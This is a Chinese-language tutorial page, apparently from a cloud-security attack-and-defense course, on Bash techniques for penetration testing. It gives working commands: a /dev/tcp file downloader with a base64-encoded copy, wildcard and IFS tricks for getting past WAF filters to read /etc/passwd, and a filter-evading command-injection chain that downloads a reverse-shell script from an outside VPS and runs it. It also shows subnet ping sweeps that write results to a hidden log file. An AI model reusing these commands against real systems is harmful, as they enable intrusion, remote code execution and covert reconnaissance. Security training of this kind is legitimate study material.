> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/bash-jin-jie-gong-fang-shi-zhan-chang-jing-ying-yong.md).

# Bash进阶-攻防实战场景应用

#### Bash渗透实战场景 <a href="#toc510605494" id="toc510605494"></a>

当服务器没有wget、curl怎么下载文件？不能出网？ yum apt-get

前置情况：

* 服务器不能上网
* 没有wget
* 没有curl

&#x20;

Busybox是什么？

<https://baike.baidu.com/item/busybox/427860>

在遇到没有wget的方式时，可以通过curl命令来下载busybox之后安装wget命令。

{% code overflow="wrap" %}

```bash
curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"
```

{% endcode %}

这种方式只能解决部分问题，遇到了没有wget和curl命令的时候就很无解。

&#x20;

以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求，这就解决了服务器没有wget、curl也能够下载文件

{% code overflow="wrap" %}

```bash
#下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
 
#-r 屏蔽 \，按行读取Header部分，匹配到\r就停止读取
while IFS= read -r line ; do
    [[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
#读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
    printf "%s$nul" "$x"
done <&3
 
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download
```

{% endcode %}

下载文件：

```bash
bash -x download http://1.1.1.1:80/111
```

执行流程分析：

```bash
#用read读取URL参数并且进行URL解析并得到path、server、port
+ read proto server path
 
#获取名称、IP、PORT定义变量
+ DOC=/busybox
+ HOST=10.32.38.80
+ PORT=80
 
#加上x防止出现语法错误
#不加x，当变量为空时会没有，if[ == "0"]，会出现语法错误
#加上x，当变量为空时，解析会 if ["x" == "x"]，依然正确
+ [[ x10.32.38.80 == x\8\0 ]]
 
#exec 3<>/dev/tcp/${HOST}/$PORT
#打开tcp Socks，以读写的方式打开。结束以3>&-方式关闭输出连接
+ exec
 
#转义并加上输出都加上\n换行
+ echo -en 'GET /busybox HTTP/1.0\r\nHost: 10.32.38.80\r\n\r\n'
+ IFS=
 
#读取每一行请求的内容，遇到\n就结束
+ read -r line
 ]] \HTTP/1.1 200 OK
+ IFS=
+ read -r line
 ]] \Date: Sun, 24 Apr 2022 02:36:39 GMT
+ IFS=
+ read -r line
 ]] \Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
+ IFS=
+ read -r line
 ]] \Last-Modified: Sun, 24 Apr 2022 02:33:33 GMT
+ IFS=
+ read -r line
 ]] \ETag: "4-5dd5d493bcb25"
+ IFS=
+ read -r line
 ]] \Accept-Ranges: bytes
+ IFS=
+ read -r line
 ]] \Content-Length: 4
+ IFS=
+ read -r line
 ]] \Connection: close
+ IFS=
+ read -r line
 ]] \Content-Type: text/plain
+ IFS=
+ read -r line
 ]] \
+ break
+ nul='\0'
+ IFS=
#以空作为结束符
+ read -d '' -r x
+ nul=
+ '[' -n test ']'
#有则通过printf打印内容给到%s
+ printf %s test
+ IFS=
+ read -d '' -r x
+ nul=
+ '[' -n '' ']'
+ exec
```

#### 扩展模式 <a href="#toc401884246" id="toc401884246"></a>

bash内置了这个功能，与所要执行的命令无关，命令本身不存在参数扩展

模块扩展的英文单词是glob，这个词来自于早期的 Unix 系统有一个/etc/glob文件，保存扩展的模板。

其中有些用到通配符，又称为通配符扩展（wildcard expansion）

Bash提供八种扩展：

* 波浪线扩展
* ? 字符扩展
* 字符扩展
* 方括号扩展
* 大括号扩展
* 变量扩展
* 子命令扩展
* 算术扩展

&#x20;

开启与关闭扩展模式

```bash
#关闭扩展
set -o noglob
set -f
 
#开启扩展
set +o noglob
set +f
```

&#x20;

* 波浪线扩展

```bash
~会被 当成用户的主目录
echo ~
 
#扩展成用户user主目录
echo ~root
 
#扩展当前所在目录，等同于pwd命令
echo ~+
```

&#x20;

* 字符扩展

? 字符代表文件路径中的任意单个字符，但不包括空字符\
只有文件存在才会发生扩展，文件不存在就不会

Bypass Waf常看到的

查看当前/etc/passwd

```bash
cat /e?c/p?s??d
cat /?t*/??ss**
```

&#x20;

* 字符扩展

```bash
*字符代表文件路径里面的任意数量的任意字符，包括零个字符。
ls *.tar.gz
 
#匹配隐藏文件
echo .*
 
#匹配隐藏文件，同时排除.和..
echo .[!.*]
 
#匹配子目录
ls */*.txt
 
#Waf Bypass
/b*n/cat /et*/p**swd
```

* 方括号扩展

```bash
ls [ab].txt
方括号扩展还有两种变体：[^...]和[!...]。它们表示匹配不在方括号里面的字符，这两种写法是等价的。
#不匹配i出现的文件
ls ?[!i]*
 
#过滤了关键词，例如password
cat /etc/p[a-z]s[a-z]w[a-z]
```

&#x20;

* &#x20;\[start-end]扩展

```bash
ls [a-z].txt
 
· [a-z]：所有小写字母。
· [a-zA-Z]：所有小写字母与大写字母。
· [a-zA-Z0-9]：所有小写字母、大写字母与数字。
· [abc]*：所有以a、b、c字符之一开头的文件名。
· program.[co]：文件program.c与文件program.o。
· BACKUP.[0-9][0-9][0-9]：所有以BACKUP.开头，后面是三个数字的文件名。
```

&#x20;

* &#x20;大括号扩展

大括号扩展不是文件名扩展。它会扩展成所有给定的值，而不管是否有对应的文件存在。

```bash
echo Front-{A,B,C}-Back
 
cp a.log{,.bak}
等同于：cp a.log a.log.bak
```

* {start..end}扩展

```bash
echo {1..4}
 
#创建目录，以年份-月份
mkdir {2007..2009}-{01..12}
(CMD1;CMD2;...)和 { CMD1;CMD2;...; } 都可以将多个命令组合在一起
( list )，会开启子shell
{ list }，不会启子Shell
```

* &#x20;变量扩展

```bash
#扩展成所有以S开头的变量名。
echo ${!S*}
```

* 子命令扩展

```bash
echo $(ls $(pwd)) 
```

* &#x20;算术扩展

```bash
$((...))可以扩展成整数运算的结果
```

&#x20;

&#x20;

&#x20;

#### 实战中IFS利用 <a href="#toc632452707" id="toc632452707"></a>

在一次实战命令执行中，遇到了过滤：':;,<|>/\`"%&

过滤了 “/“ 符号，这里可以通过IFS内部字段分隔符，Internal Field Separator 的缩写）来bypass

```bash
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
```

${IFS} 是Linux下的分隔符的意思，可以将${IFS}进行空格替换。

subset：是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串

{% code overflow="wrap" %}

```bash
cat${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)etc$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)passwd
```

{% endcode %}

<figure><img src="/files/k4Ye2HN6sDFv54znZccY" alt=""><figcaption></figcaption></figure>

实战利用场景：

命令执行漏洞，但代码过滤：':;,<|>/\`"%&

目标环境可出网，进行反弹Shell操作。

脚本内容为常见的反弹Shell，写入到HTTP服务Web目录下，建立1.txt文件

{% code overflow="wrap" %}

```bash
#下载脚本
$(curl%20123.123.123.123%20-o%20   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1) 0000.sh)
 
#通过curl命令下载VPS内容，放入到/tmp/0000.sh目录下。
$(curl%20122.222.222.222%20-o%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#chmod命令给于脚本权限
$(chmod%20+x%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#bash执行脚本
$(bash%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
```

{% endcode %}

例如空格绕过还有：

```bash
<    符号：cat</etc/passwd
$IFS$9    cat$IFS$9/etc/passwd
<>   cat<>/etc/passwd
```

#### 探测IP存活 <a href="#toc1736077546" id="toc1736077546"></a>

```bash
#查询C段存活主机,只显示存在结果
##这种方式太慢了
for ip in {1..254};do ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >/dev/null 2>&1;done
 
##多进程，探测C段存活
#!/usr/bin/env bash
for ip in {1..254};do
    ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##多进程，只扫单个网段
#!/usr/bin/env bash
for ip in {1..254};do
    ping 192.168.$ip.1 -c 1 |grep -q "ttl=" && echo "192.168.$ip.1 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##扫描B段所有网段，扫10和172，扫192会扫到外网去
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ping -c1 -W1 192.$i.$j.1|grep -q "ttl=" && echo "192.$i.$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait
```
